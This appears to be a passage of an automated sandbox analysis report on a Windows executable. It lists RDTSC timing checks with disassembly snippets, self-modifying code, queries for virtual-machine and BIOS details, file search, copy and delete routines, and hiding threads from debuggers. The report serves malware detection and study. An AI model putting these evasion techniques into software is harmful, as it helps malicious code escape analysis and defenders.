Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79B403 second address: 79B442 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a pushad 0x0000000b jmp 00007FD3C522448Ah 0x00000010 pushad 0x00000011 popad 0x00000012 pushad 0x00000013 popad 0x00000014 jmp 00007FD3C522448Ch 0x00000019 popad 0x0000001a push edi 0x0000001b jmp 00007FD3C5224491h 0x00000020 pushad 0x00000021 popad 0x00000022 pop edi 0x00000023 push eax 0x00000024 push edx 0x00000025 pushad 0x00000026 popad 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7991FC second address: 799216 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD3C500B9E1h 0x00000009 pop ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 799216 second address: 79921C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79921C second address: 799256 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FD3C500B9D6h 0x00000008 jmp 00007FD3C500B9E8h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pop edx 0x00000010 push ebx 0x00000011 jbe 00007FD3C500B9DCh 0x00000017 push eax 0x00000018 push edx 0x00000019 jg 00007FD3C500B9D6h 0x0000001f push esi 0x00000020 pop esi 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A2CC7 second address: 7A2CD9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jno 00007FD3C5224486h 0x00000010 push esi 0x00000011 pop esi 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A2CD9 second address: 7A2CE9 instructions: 0x00000000 rdtsc 0x00000002 jns 00007FD3C500B9D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A2CE9 second address: 7A2CEF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A2CEF second address: 7A2CF3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A28A6 second address: 7A28AC instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A28AC second address: 7A28B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A28B8 second address: 7A28BC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A28BC second address: 7A28D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007FD3C500B9D6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c je 00007FD3C500B9D8h 0x00000012 push ebx 0x00000013 pop ebx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A2A2C second address: 7A2A32 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A2A32 second address: 7A2A38 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A2A38 second address: 7A2A4E instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jmp 00007FD3C5224491h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7AF6F5 second address: 7AF6FB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7AF278 second address: 7AF27C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B226C second address: 7B2281 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD3C500B9DBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B2281 second address: 7B2289 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B1DEC second address: 7B1DF0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B1F94 second address: 7B1FAE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD3C522448Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007FD3C522448Bh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B8E7B second address: 7B8E7F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B8E7F second address: 7B8E91 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jl 00007FD3C522448Ch 0x0000000c jnc 00007FD3C5224486h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B8E91 second address: 7B8EAC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD3C500B9E7h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B8EAC second address: 7B8EB0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C1A02 second address: 7C1A0A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C1A0A second address: 7C1A1A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jo 00007FD3C5224486h 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C1A1A second address: 7C1A41 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 jno 00007FD3C500B9EFh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C1A41 second address: 7C1A46 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C18A5 second address: 7C18AF instructions: 0x00000000 rdtsc 0x00000002 jg 00007FD3C500B9D6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C18AF second address: 7C18B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C3003 second address: 7C3019 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FD3C500B9D6h 0x00000008 push eax 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push edx 0x0000000f pop edx 0x00000010 jne 00007FD3C500B9D6h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C54B0 second address: 7C54CC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD3C5224498h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CD0FC second address: 7CD100 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CBA62 second address: 7CBA6A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CBBB4 second address: 7CBBDB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD3C500B9E7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f jns 00007FD3C500B9D6h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CBBDB second address: 7CBC08 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD3C5224491h 0x00000007 push esi 0x00000008 pop esi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FD3C522448Eh 0x00000012 jl 00007FD3C5224486h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CBC08 second address: 7CBC12 instructions: 0x00000000 rdtsc 0x00000002 jno 00007FD3C500B9D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CC079 second address: 7CC07D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CC07D second address: 7CC0A0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 jmp 00007FD3C500B9E9h 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D30BA second address: 7D30C2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D30C2 second address: 7D30C6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D2DE4 second address: 7D2E02 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD3C5224496h 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D2E02 second address: 7D2E06 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7DE699 second address: 7DE69D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7DE69D second address: 7DE6A1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7DE6A1 second address: 7DE6D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 jnc 00007FD3C5224486h 0x0000000d pushad 0x0000000e popad 0x0000000f pop edx 0x00000010 popad 0x00000011 pushad 0x00000012 jmp 00007FD3C5224490h 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007FD3C522448Dh 0x0000001e jnp 00007FD3C5224486h 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7DE530 second address: 7DE53A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007FD3C500B9D6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7DE53A second address: 7DE550 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD3C522448Ch 0x00000007 jo 00007FD3C5224486h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7DE550 second address: 7DE555 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7DE555 second address: 7DE55B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E2446 second address: 7E2456 instructions: 0x00000000 rdtsc 0x00000002 jno 00007FD3C500B9D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push ebx 0x0000000b pushad 0x0000000c popad 0x0000000d push edi 0x0000000e pop edi 0x0000000f pop ebx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E2456 second address: 7E245C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E245C second address: 7E2460 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E2460 second address: 7E2466 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E228D second address: 7E22EE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD3C500B9E4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a pushad 0x0000000b push edx 0x0000000c pop edx 0x0000000d push edi 0x0000000e pop edi 0x0000000f jng 00007FD3C500B9D6h 0x00000015 pushad 0x00000016 popad 0x00000017 popad 0x00000018 push ebx 0x00000019 jmp 00007FD3C500B9DDh 0x0000001e jmp 00007FD3C500B9E3h 0x00000023 pop ebx 0x00000024 jns 00007FD3C500B9E2h 0x0000002a push eax 0x0000002b push edx 0x0000002c pushad 0x0000002d popad 0x0000002e push eax 0x0000002f push edx 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E22EE second address: 7E22F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EEB90 second address: 7EEB9F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jo 00007FD3C500B9D6h 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F0B2E second address: 7F0B33 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F081B second address: 7F0839 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD3C500B9E8h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F0839 second address: 7F0855 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD3C5224498h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 800682 second address: 80068A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80068A second address: 800690 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 800690 second address: 800694 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FFE93 second address: 7FFEBA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jns 00007FD3C5224486h 0x00000009 jp 00007FD3C5224486h 0x0000000f jmp 00007FD3C5224493h 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 push esi 0x00000018 pop esi 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FFEBA second address: 7FFEE2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jp 00007FD3C500B9EEh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FFEE2 second address: 7FFEE8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FFEE8 second address: 7FFEEC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 800081 second address: 800099 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 jp 00007FD3C5224488h 0x0000000b push edi 0x0000000c pop edi 0x0000000d pop esi 0x0000000e push eax 0x0000000f push edx 0x00000010 js 00007FD3C522448Eh 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 800099 second address: 80009F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80009F second address: 8000AF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD3C522448Ah 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8000AF second address: 8000B5 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8000B5 second address: 8000C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jl 00007FD3C5224486h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8062B4 second address: 8062CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD3C500B9E1h 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 807E3A second address: 807E40 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 807E40 second address: 807E62 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007FD3C500B9E8h 0x0000000a pushad 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 807E62 second address: 807E7D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 jmp 00007FD3C522448Eh 0x0000000b popad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 807E7D second address: 807E85 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push esi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 807E85 second address: 807E8A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 581C1C instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 581B47 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 57F53E instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 7A87F0 instructions caused by: Self-modifying code

Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: all processes

Thread injection, dropped files, key value created, disk infection and DNS query: no activity detected

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_003338B0 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcat,lstrlen,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	0_2_003338B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00334910 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00334910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0032DA80 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	0_2_0032DA80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0032E430 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	0_2_0032E430
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0032ED20 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlen,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	0_2_0032ED20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00334570 GetProcessHeap,RtlAllocateHeap,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlen,lstrlen,	0_2_00334570
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0032DE10 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_0032DE10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0032BE70 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	0_2_0032BE70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0032F6B0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_0032F6B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00333EA0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	0_2_00333EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_003216D0 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_003216D0

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00321160 GetSystemInfo,ExitProcess,

0_2_00321160

Source: file.exe, file.exe, 00000000.00000002.1735090731.00000000006FE000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: file.exe, 00000000.00000002.1735801152.000000000107E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware\
Source: file.exe, 00000000.00000002.1735801152.000000000107E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: file.exe, 00000000.00000002.1735801152.00000000010C6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1735801152.00000000010F2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: file.exe, 00000000.00000002.1735090731.00000000006FE000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,

Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13286
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13337
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13283
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13297
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13305

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe

Thread information set: HideFromDebugger

Jump to behavior
